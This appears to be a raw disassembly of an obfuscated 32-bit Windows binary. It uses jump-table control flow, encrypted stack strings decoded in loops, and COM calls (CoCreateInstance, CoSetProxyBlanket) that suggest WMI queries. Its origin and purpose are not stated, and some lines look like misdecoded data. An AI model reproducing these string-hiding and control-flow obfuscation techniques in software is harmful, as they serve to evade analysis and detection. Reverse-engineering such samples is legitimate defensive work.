mov byte [ecx + 0xc], 0x15
mov byte [ecx + 0xd], 0x5d
mov byte [ecx + 0xe], 0xf
mov byte [ecx + 0xf], 0x5b
mov byte [ecx + 0x10], 2
mov byte [ecx + 0x11], 0x59
mov byte [ecx + 0x12], 0xd8
mov byte [ecx + 0x13], 0xa7
mov byte [ecx + 0x14], 0xa4
mov byte [ecx + 0x15], 0xa5
mov eax, 0x16
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x1b
jne 0x434f63
xor edx, edx
mov dword [esi + 0xc], ebx
cmp edx, 0x1b
jae 0x434fd1
movzx eax, byte [ecx + edx]
mov dword [esi + 0xec], eax
mov ecx, edx
add ecx, 0xee
mov ebx, edx
add ebx, 0xee
and ebx, eax
mov eax, ebx
and eax, 2
xor eax, 2
mov edi, ebx
and edi, 0xfd
imul edi, eax
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
add ebx, edi
add ecx, dword [esi + 0xec]
sub ecx, ebx
mov ebx, dword [esi + 0xc]
add cl, 0x5a
mov eax, dword [esi + 0x34]
mov byte [eax + edx], cl
mov ecx, dword [esi + 0x34]
add edx, 1
jmp 0x434f74
sub esp, 4
mov dword [esp], ecx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov edx, eax
mov eax, dword [esi + 0x64]
mov ecx, dword [eax]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
sub esp, 0x24
mov edi, dword [esi + 0x60]
mov dword [esp + 0x20], edi
mov dword [esi + 0x174], edx
mov dword [esp + 4], edx
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x440], eax
mov eax, dword [esi + 0x444]
mov ecx, dword [esi + 0x440]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esi + 0x2e8], eax
mov eax, dword [esi + 0x2ec]
mov ecx, dword [esi + 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x318]
mov ecx, dword [esi + 0x31c]
mov eax, dword [ecx + eax*4]
jmp eax
sbb eax, 0x83e249fa
in al, dx
add al, 0x89
cmp al, 0x24
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x188]
mov ecx, dword [esi + 0x18c]
mov eax, dword [ecx + eax*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x448], ecx
mov eax, dword [esi + 0x44c]
mov ecx, dword [esi + 0x448]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x378]
mov ecx, dword [esi + 0x37c]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
cmp eax, 7
jae 0x43526b
mov dl, byte [edi + eax]
movzx edi, dl
mov ecx, eax
add ecx, 0xa39cf283
mov ebx, ecx
and ebx, edi
mov edi, dword [esi + 0x2c]
shl ebx, 1
sub ecx, ebx
add cl, dl
add cl, 0x71
mov byte [edi + eax], cl
add eax, 1
jmp 0x435240
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x118]
mov al, byte [eax]
mov byte [esi + 0x74], al
mov ebx, dword [esi + 0x120]
mov byte [ebx], 0x25
mov byte [ebx + 1], 0x8b
mov byte [ebx + 2], 0x25
mov byte [ebx + 3], 0x89
mov byte [ebx + 4], 0x5c
mov byte [ebx + 5], 0x87
mov byte [ebx + 6], 0x86
mov byte [ebx + 7], 0x85
mov eax, 8
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0xc
jne 0x4352b1
xor eax, eax
cmp eax, 0xc
jae 0x4352ee
mov dl, byte [ebx + eax]
mov edi, eax
add edi, 0x63
mov ecx, 0x1c
sub ecx, eax
and ecx, 0x9b
and edi, 0x64
or ecx, edi
xor cl, dl
xor cl, 0x9b
add cl, 0x91
mov byte [ebx + eax], cl
add eax, 1
jmp 0x4352bf
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0x11c]
mov al, byte [eax]
mov byte [esi + 0x78], al
mov ecx, dword [esi + 0x38]
mov byte [ecx], 0xd1
mov byte [ecx + 1], 0x6b
mov byte [ecx + 2], 0xa1
mov byte [ecx + 3], 0x69
mov byte [ecx + 4], 0xa4
mov byte [ecx + 5], 0x6f
mov byte [ecx + 6], 0xa5
mov byte [ecx + 7], 0x6d
mov byte [ecx + 8], 0xa9
mov byte [ecx + 9], 0x53
mov byte [ecx + 0xa], 0xe6
mov byte [ecx + 0xb], 0x51
mov byte [ecx + 0xc], 0xb0
mov byte [ecx + 0xd], 0x57
mov byte [ecx + 0xe], 0xb8
mov byte [ecx + 0xf], 0x55
mov byte [ecx + 0x10], 0xb4
mov byte [ecx + 0x11], 0x5b
mov byte [ecx + 0x12], 0x90
mov byte [ecx + 0x13], 0x59
mov byte [ecx + 0x14], 0xee
mov byte [ecx + 0x15], 0x5f
mov byte [ecx + 0x16], 0xef
mov byte [ecx + 0x17], 0x5d
mov byte [ecx + 0x18], 0xef
mov byte [ecx + 0x19], 0x43
mov byte [ecx + 0x1a], 0xa2
mov byte [ecx + 0x1b], 0x41
mov byte [ecx + 0x1c], 0xf9
mov byte [ecx + 0x1d], 0x47
mov byte [ecx + 0x1e], 0xe9
mov byte [ecx + 0x1f], 0x45
mov byte [ecx + 0x20], 0xd6
mov byte [ecx + 0x21], 0x4b
mov byte [ecx + 0x22], 0x9f
mov byte [ecx + 0x23], 0x49
mov byte [ecx + 0x24], 0x9e
mov byte [ecx + 0x25], 0x4f
mov byte [ecx + 0x26], 0xef
mov byte [ecx + 0x27], 0x4d
mov byte [ecx + 0x28], 0xfd
mov byte [ecx + 0x29], 0x33
mov byte [ecx + 0x2a], 0xa2
mov byte [ecx + 0x2b], 0x31
mov byte [ecx + 0x2c], 0x9b
mov byte [ecx + 0x2d], 0x37
mov byte [ecx + 0x2e], 0xa0
mov byte [ecx + 0x2f], 0x35
mov byte [ecx + 0x30], 0x93
mov byte [ecx + 0x31], 0x3b
mov byte [ecx + 0x32], 0xae
mov byte [ecx + 0x33], 0x39
mov byte [ecx + 0x34], 0x97
mov byte [ecx + 0x35], 0x3f
mov byte [ecx + 0x36], 0xac
mov byte [ecx + 0x37], 0x3d
mov byte [ecx + 0x38], 0x95
mov byte [ecx + 0x39], 0x23
mov byte [ecx + 0x3a], 0x97
mov byte [ecx + 0x3b], 0x21
mov byte [ecx + 0x3c], 0xbf
mov byte [ecx + 0x3d], 0x27
mov byte [ecx + 0x3e], 0xb3
mov byte [ecx + 0x3f], 0x25
mov byte [ecx + 0x40], 0xb0
mov byte [ecx + 0x41], 0x2b
mov byte [ecx + 0x42], 0x81
mov byte [ecx + 0x43], 0x29
mov byte [ecx + 0x44], 0xbb
mov byte [ecx + 0x45], 0x2f
mov byte [ecx + 0x46], 0x2e
mov byte [ecx + 0x47], 0x2d
mov eax, 0x48
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x4b
jne 0x435432
xor edx, edx
cmp edx, 0x4b
jae 0x435480
movzx ebx, byte [ecx + edx]
mov dword [esi + 0xe4], ebx
mov ecx, edx
add ecx, 0x25139397
mov edi, ebx
add edi, 1
xor ebx, 0xffffffff
mov eax, ecx
or eax, ebx
add eax, edi
shl eax, 1
add ecx, dword [esi + 0xe4]
sub ecx, eax
add cl, 0xd
mov eax, dword [esi + 0x38]
mov byte [eax + edx], cl
mov ecx, dword [esi + 0x38]
add edx, 1
jmp 0x435440
sub esp, 4
mov dword [esp], ecx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov ebx, eax
mov eax, dword [esi + 0x60]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x50]
sub esp, 0x18
mov edx, dword [esi + 0x5c]
mov dword [esp + 0x14], edx
mov dword [esi + 0x160], ebx
mov dword [esp + 8], ebx
mov edx, dword [esi + 0xcc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
not eax
shr eax, 0x1f
mov dword [esi + 0x430], eax
mov eax, dword [esi + 0x434]
mov ecx, dword [esi + 0x430]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0xc]
jmp eax
mov eax, dword [esi + 0x178]
mov ecx, dword [esi + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x308], 1
mov eax, dword [esi + 0x30c]
mov ecx, dword [esi + 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x398]
mov ecx, dword [esi + 0x39c]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 0x1c]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [edi]
mov ecx, dword [esi + 0x128]
mov cl, byte [ecx]
mov byte [esi + 0x7c], cl
mov edx, dword [esi + 0x3c]
mov byte [edx], 0x53
mov byte [edx + 1], 0x91
mov byte [edx + 2], 0x73
mov byte [edx + 3], 0x93
mov byte [edx + 4], 0x5c
mov byte [edx + 5], 0xad
mov byte [edx + 6], 0x22
mov byte [edx + 7], 0xaf
mov byte [edx + 8], 0x51
mov byte [edx + 9], 0xa9
mov byte [edx + 0xa], 0x5d
mov byte [edx + 0xb], 0xab
mov byte [edx + 0xc], 0x52
mov byte [edx + 0xd], 0xa5
mov byte [edx + 0xe], 0xa6
mov byte [edx + 0xf], 0xa7
mov ecx, 0x10
mov ebx, dword [esi + 0xc]
mov byte [edx + ecx], 0
add ecx, 1
cmp ecx, 0x11
jne 0x435593
xor ecx, ecx
cmp ecx, 0x11
jae 0x4355d9
mov bl, byte [edx + ecx]
mov edi, ecx
add edi, 0x5c
mov edx, 0x23
sub edx, ecx
and edx, 0x91
and edi, 0x6e
or edx, edi
xor dl, bl
mov ebx, dword [esi + 0xc]
xor dl, 0x91
add dl, 0xb4
mov edi, dword [esi + 0x3c]
mov byte [edi + ecx], dl
mov edx, dword [esi + 0x3c]
add ecx, 1
jmp 0x4355a1
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x18
mov edi, dword [esi + 0x1c]
mov dword [esp + 0xc], edi
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call ecx
test eax, eax
setns al
mov ecx, dword [esi + 0x3f0]
mov edx, dword [esi + 0x3f4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esi + 0x1d8]
mov ecx, dword [esi + 0x1dc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
movzx eax, word [edi]
mov dword [esi + 0x1e0], 0
mov ecx, dword [esi + 0x1e4]
mov edx, dword [esi + 0x1e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esi + 0x1b8]
mov ecx, dword [esi + 0x1bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x140]
mov ecx, dword [esi + 0x144]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x268], 0
mov eax, dword [esi + 0x26c]
mov ecx, dword [esi + 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov dword [esi + 0x110], 1
mov eax, dword [esi + 0x114]
mov ecx, dword [esi + 0x110]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x118], 0
mov eax, dword [esi + 0x11c]
mov ecx, dword [esi + 0x118]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x84]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x2b8], ecx
mov eax, dword [esi + 0x2bc]
mov ecx, dword [esi + 0x2b8]
mov eax, dword [eax + ecx*4]
mov dword [esi + 0x10], 0
jmp eax
mov eax, dword [esi + 0x108]
mov ecx, dword [esi + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
push eax
mov eax, esp
sub esp, 0x30
mov ebx, esp
push eax
mov dword [esi + 0x6c], esp
push eax
mov dword [esi + 0x18], esp
sub esp, 0xc
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x50], esp
sub esp, 0x44
mov dword [esi + 0x20], esp
push eax
mov dword [esi + 0x74], esp
push eax
mov dword [esi + 0x2c], esp
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 0x8c], esp
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 0x28], ecx
mov esp, ecx
push eax
sub esp, 0x1c
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x5c], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 0x1c], ecx
mov esp, ecx
push eax
sub esp, 0x18
mov dword [esi + 0x58], esp
push eax
mov dword [esi + 0x88], esp
mov dword [eax], 0
sub esp, 0x14
mov dword [esi + 0x60], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x448a18
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x448a28
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x2e0], 0
mov edx, dword [esi + 0x2e4]
mov edi, dword [esi + 0x2e0]
mov edx, dword [edx + edi*4]
jmp edx
test dl, cl
xchg esi, eax
daa
mov eax, dword [ebx]
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
mov eax, dword [esi + 0xf0]
mov ecx, dword [esi + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x6c]
mov al, byte [eax]
mov byte [esi + 0x30], al
mov byte [ebx], 0xbe
mov byte [ebx + 1], 0xf
mov byte [ebx + 2], 0xbf
mov byte [ebx + 3], 0xf1
mov byte [ebx + 4], 0x41
mov byte [ebx + 5], 0xf3
mov byte [ebx + 6], 0x46
mov byte [ebx + 7], 0xf5
mov byte [ebx + 8], 0x48
mov byte [ebx + 9], 0xf7
mov byte [ebx + 0xa], 0x43
mov byte [ebx + 0xb], 0xf9
mov byte [ebx + 0xc], 0x5f
mov byte [ebx + 0xd], 0xfb
mov byte [ebx + 0xe], 0x5f
mov byte [ebx + 0xf], 0xfd
mov byte [ebx + 0x10], 0x6b
mov byte [ebx + 0x11], 0xff
mov byte [ebx + 0x12], 0x6c
mov byte [ebx + 0x13], 0xe1
mov byte [ebx + 0x14], 0x4b
mov byte [ebx + 0x15], 0xe3
mov byte [ebx + 0x16], 0x76
mov byte [ebx + 0x17], 0xe5
mov byte [ebx + 0x18], 0x7f
mov byte [ebx + 0x19], 0xe7
mov byte [ebx + 0x1a], 0x23
mov byte [ebx + 0x1b], 0xe9
mov byte [ebx + 0x1c], 0x4f
mov byte [ebx + 0x1d], 0xeb
mov byte [ebx + 0x1e], 0x44
mov byte [ebx + 0x1f], 0xed
mov byte [ebx + 0x20], pe_nt_image_headers32
mov byte [ebx + 0x21], 0xef
mov byte [ebx + 0x22], 0x49
mov byte [ebx + 0x23], 0xd1
mov byte [ebx + 0x24], 0x42
mov byte [ebx + 0x25], 0xd3
mov byte [ebx + 0x26], 0
mov byte [ebx + 0x27], 0xd5
mov byte [ebx + 0x28], 0xd4
mov byte [ebx + 0x29], 0xd7
mov eax, 0x2a
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x30
jne 0x4360ac
xor eax, eax
cmp eax, 0x30
jae 0x436158
mov cl, byte [ebx + eax]
mov byte [esi + 0xb], cl
movzx edi, cl
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xc]
add eax, 0x249db0fd
mov edx, 0x5b624f02
sub edx, dword [esi + 0xc]
and edx, 0x7ff1ae5d
mov ecx, eax
and ecx, 0x800e51a2
or edx, ecx
xor edx, edi
mov ecx, edx
xor ecx, 0x800e51a2
mov edi, eax
and edi, ecx
mov ecx, 0xdb624f02
sub ecx, dword [esi + 0xc]
xor edx, 0x7ff1ae5d
or ecx, edx
xor ecx, 0xffffffff
or edi, ecx
mov ecx, edi
and ecx, 2
xor ecx, 2
mov edx, edi
and edx, 0xfffffffd
imul edx, ecx
mov ecx, edi
and ecx, 2
or edi, 2
imul edi, ecx
add edi, edx
mov ecx, edi
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 2
sub ecx, dword [esi + 0xc]
and edi, ecx
sub eax, edi
add al, byte [esi + 0xb]
add al, 0xf
mov ecx, dword [esi + 0xc]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0xc]
add eax, 1
jmp 0x4360ba
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov edi, eax
mov eax, dword [esi + 0x60]
mov ecx, dword [eax]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
sub esp, 0x24
mov ebx, dword [esi + 0x18]
mov dword [esp + 0x20], ebx
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x2d0], eax
mov eax, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2d0]
mov eax, dword [eax + ecx*4]
mov dword [esi + 0x10], 0
jmp eax
mov eax, ebx
add eax, 8
mov edx, eax
mov ebx, edi
mov edi, ebx
mov ecx, 1
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
add ebx, 4
add eax, 4
mov edi, ebx
xor ecx, ecx
mov edx, eax
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
xor ecx, ecx
cmp ecx, 0
je 0x43621e
add ecx, 0xffffffff
mov edx, eax
add edx, 1
mov al, byte [eax]
mov edi, ebx
add edi, 1
mov byte [ebx], al
mov ebx, edi
mov eax, edx
jmp 0x436202
mov edi, dword [esi + 0x24]
mov al, byte [edi + 1]
mov ecx, dword [esi + 0x4c]
mov byte [ecx], al
mov dword [esi + 0x200], 0
mov eax, dword [esi + 0x204]
mov ecx, dword [esi + 0x200]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x28]
jmp eax
push eax
mov eax, esp
sub esp, 0x30
push eax
push eax
sub esp, 0xc
push eax
sub esp, 0x44
push eax
push eax
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x1c
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x18
push eax
mov dword [eax], 0
sub esp, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x448a18
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x448a28
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
mov eax, dword [esi + 0xf8]
mov ecx, dword [esi + 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x1c0], 0
mov eax, dword [esi + 0x1c4]
mov ecx, dword [esi + 0x1c0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x190], 0
mov eax, dword [esi + 0x194]
mov ecx, dword [esi + 0x190]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x50]
mov al, byte [eax]
mov byte [esi + 0x38], al
mov byte [edx], 5
mov byte [edx + 1], 0xfb
mov byte [edx + 2], 5
mov byte [edx + 3], 0xf9
mov byte [edx + 4], 0xc
mov byte [edx + 5], 0xe7
mov byte [edx + 6], 0xe6
mov byte [edx + 7], 0xe5
mov eax, 8
mov edi, edx
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0xa
jne 0x4363c4
xor eax, eax
cmp eax, 0xa
jae 0x4363ec
mov cl, byte [edi + eax]
mov dl, al
add dl, 0xab
xor dl, cl
add dl, 0xa9
mov byte [edi + eax], dl
add eax, 1
jmp 0x4363d2
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov edx, edi
mov edi, eax
mov dword [esi + 0x290], 1
mov eax, dword [esi + 0x294]
mov ecx, dword [esi + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
mov edi, dword [esi + 0x8c]
mov dword [edi], 0
mov eax, dword [esi + 0x2c]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x14
mov dword [esp + 0x10], edi
mov edx, dword [esi + 0x14]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
test eax, eax
sets cl
sub eax, 1
sete al
mov edx, dword [edi]
test edx, edx
sete dl
or al, dl
or al, cl
movzx eax, al
mov dword [esi + 0x250], eax
mov eax, dword [esi + 0x254]
mov ecx, dword [esi + 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x208], 0
mov eax, dword [esi + 0x20c]
mov ecx, dword [esi + 0x208]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x24]
jmp eax
mov eax, dword [edi + 8]
sub esp, 4
mov dword [esp], eax
call fcn.00433070
add esp, 4
mov edi, eax
inc edi
sub esp, 4
mov dword [esp], edi
call fcn.0040cdd0
add esp, 4
mov ecx, dword [esi + 0x70]
mov dword [ecx], eax
mov ecx, dword [esi + 0x1c]
mov ecx, dword [ecx + 8]
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
mov edi, dword [esi + 0x1c]
mov dword [esp], eax
call fcn.0040d760
add esp, 0xc
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [ebx]
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x2c0], 1
mov edx, dword [esi + 0x2c4]
mov edi, dword [esi + 0x2c0]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, dword [esi + 0x158]
mov ecx, dword [esi + 0x15c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x7c]
jmp eax
mov al, cl
and eax, 1
mov dword [esi + 0x228], eax
mov eax, dword [esi + 0x22c]
mov ecx, dword [esi + 0x228]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x18]
jmp eax
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
mov eax, dword [esi + 0x60]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x100]
mov ecx, dword [esi + 0x104]
mov ecx, dword [ecx + eax*4]
mov eax, dword [esi + 0x10]
jmp ecx
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esi + 0x1d8]
mov edx, dword [esi + 0x1dc]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x98]
mov ecx, dword [esi + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov dword [esp], 0xc
call fcn.0040cdd0
add esp, 4
mov dword [eax], 0
mov ecx, eax
add ecx, 4
mov dword [esi + 0x4c], ecx
mov byte [eax + 4], 0
mov ecx, eax
add ecx, 8
mov dword [esi + 0x70], ecx
mov dword [esi + 0x7c], eax
mov dword [eax + 8], 0
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov ecx, dword [esi + 0x5c]
mov cl, byte [ecx]
mov byte [esi + 0x44], cl
mov byte [edi], pe_nt_image_headers32
mov byte [edi + 1], 9
mov byte [edi + 2], pe_nt_image_headers32
mov byte [edi + 3], 0xf
mov byte [edi + 4], 0x7f
mov byte [edi + 5], 0xd
mov byte [edi + 6], 0x66
mov byte [edi + 7], 3
mov byte [edi + 8], 0x75
mov byte [edi + 9], 1
mov byte [edi + 0xa], 0x61
mov byte [edi + 0xb], 7
mov byte [edi + 0xc], 0x70
mov byte [edi + 0xd], 5
mov byte [edi + 0xe], 0x4d
mov byte [edi + 0xf], 0x1b
mov byte [edi + 0x10], 0x6c
mov byte [edi + 0x11], 0x19
mov byte [edi + 0x12], 0x7f
mov byte [edi + 0x13], 0x1f
mov byte [edi + 0x14], 0x68
mov byte [edi + 0x15], 0x1d
mov byte [edi + 0x16], 0x77
mov byte [edi + 0x17], 0x13
mov byte [edi + 0x18], 0x10
mov byte [edi + 0x19], 0x11
mov ecx, 0x1a
mov byte [edi + ecx], 0
add ecx, 1
cmp ecx, 0x1e
jne 0x43670c
xor ecx, ecx
cmp ecx, 0x1e
jae 0x43673d
mov edx, dword [esi + 4]
mov dl, byte [edx + ecx]
mov dh, cl
add dh, 2
xor dh, dl
add dh, 0xf6
mov edi, dword [esi + 4]
mov byte [edi + ecx], dh
mov edi, dword [esi + 4]
add ecx, 1
jmp 0x43671a
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call ecx
test eax, eax
setns al
mov cx, word [ebx]
sub cx, 3
sete cl
and al, cl
mov dword [esi + 0x218], 0
mov ecx, dword [esi + 0x21c]
mov edx, dword [esi + 0x218]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e5f0
xor eax, eax
test edi, edi
sete cl
mov dword [esi + 0x230], 1
mov edx, dword [esi + 0x234]
mov ebx, dword [esi + 0x230]
mov edx, dword [edx + ebx*4]
jmp edx
mov eax, dword [esi + 0x1f8]
mov ecx, dword [esi + 0x1fc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x90]
mov ecx, dword [esi + 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esi + 0x210], eax
mov eax, dword [esi + 0x214]
mov ecx, dword [esi + 0x210]
mov eax, dword [eax + ecx*4]
jmp eax
test eax, 0x8b2bd194
xchg al, dl
add byte [eax], al
add byte [ebx + 0xd48e], cl
add byte [ebx - 0x1f007efc], cl
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov eax, dword [esi + 0x1c]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x14]
mov edx, dword [eax]
mov eax, dword [esi + 0x88]
mov al, byte [eax]
mov byte [esi + 0x48], al
mov ecx, dword [esi + 0x58]
mov byte [ecx], 0x5c
mov byte [ecx + 1], 0xf1
mov byte [ecx + 2], 0x5b
mov byte [ecx + 3], 0xf3
mov byte [ecx + 4], 0x4f
mov byte [ecx + 5], 0xfd
mov byte [ecx + 6], 0x4e
mov byte [ecx + 7], 0xff
mov byte [ecx + 8], 0x4c
mov byte [ecx + 9], 0xf9
mov byte [ecx + 0xa], 0x5b
mov byte [ecx + 0xb], 0xfb
mov byte [ecx + 0xc], 0x7d
mov byte [ecx + 0xd], 0xc5
mov byte [ecx + 0xe], 0x90
mov byte [ecx + 0xf], 0xc7
mov byte [ecx + 0x10], 0x61
mov byte [ecx + 0x11], 0xc1
mov byte [ecx + 0x12], 0x77
mov byte [ecx + 0x13], 0xc3
mov byte [ecx + 0x14], 0x61
mov byte [ecx + 0x15], 0xcd
mov byte [ecx + 0x16], 0xce
mov byte [ecx + 0x17], 0xcf
mov eax, 0x18
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x1b
jne 0x4368c3
xor edi, edi
cmp edi, 0x1b
jae 0x43692a
movzx ecx, byte [ecx + edi]
mov dword [esi + 0x64], ecx
mov dword [esi + 0x68], edx
mov edx, edi
add edx, 0x995894d4
mov eax, edi
add eax, 0xd4
mov ebx, edx
or ebx, eax
and ebx, ecx
mov ecx, ebx
and ecx, 2
xor ecx, 2
